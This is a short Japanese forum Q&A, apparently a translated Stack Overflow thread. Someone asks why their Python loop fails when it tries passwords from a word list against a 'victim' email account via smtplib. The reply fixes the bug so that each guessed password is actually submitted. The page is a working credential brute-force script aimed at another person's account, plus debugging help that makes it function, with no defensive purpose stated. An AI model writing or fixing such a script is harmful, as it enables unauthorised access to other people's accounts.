2016-05-01 17 views
1

パスワードが正しいかどうかをループで調べる簡単なプログラムを作っていました。 ステートメントが動作していないことがわかりました。ここに私のコードは次のとおりです。文が正しく実行されていないか試してみてください。

listfile = open("list.txt","r") 
def trial(): 
    for code in listfile: 
     try: 
      google.login(victim,"none") 
      print("test") 
      print("[!]Trial and error complete. Password is: %s"%code) 
      break 
     except smtplib.SMTPAuthenticationError: 
      print("test") 
      print("Incorrect password:%s"%code) 
trial() 

私は試し文が働いている知っています。私はprint("Test")行を追加してテストしましたが、実行しても表示されませんでした。

EDIT:

try文は、現在実行されているが、それは常にエラーが発生します。私はそれが行10と11を実行しているので、 "間違ったパスワード:"を印刷することでこれが実行されていることを知っています。入力したパスワードが正しかったとしても、「Inncorrect password:」と表示されていました。

+3

に並ぶgoogle.login(victim,"none")

変更空の? – pushkin

+0

はい、それにはものがありますが、複数の行があります。 –

+0

'google'オブジェクトのタイプは? –

答えて

1

ログイン情報が正しくありません。あなたのtryブロックで

、あなたはprint("[!]Trial and error complete. Password is: %s" % code)

を持っている。しかし、あなたがログインするとき、パスワードは「none」です:あなたはlistfileこのではないことを確認していますgoogle.login(victim, code)

関連する問題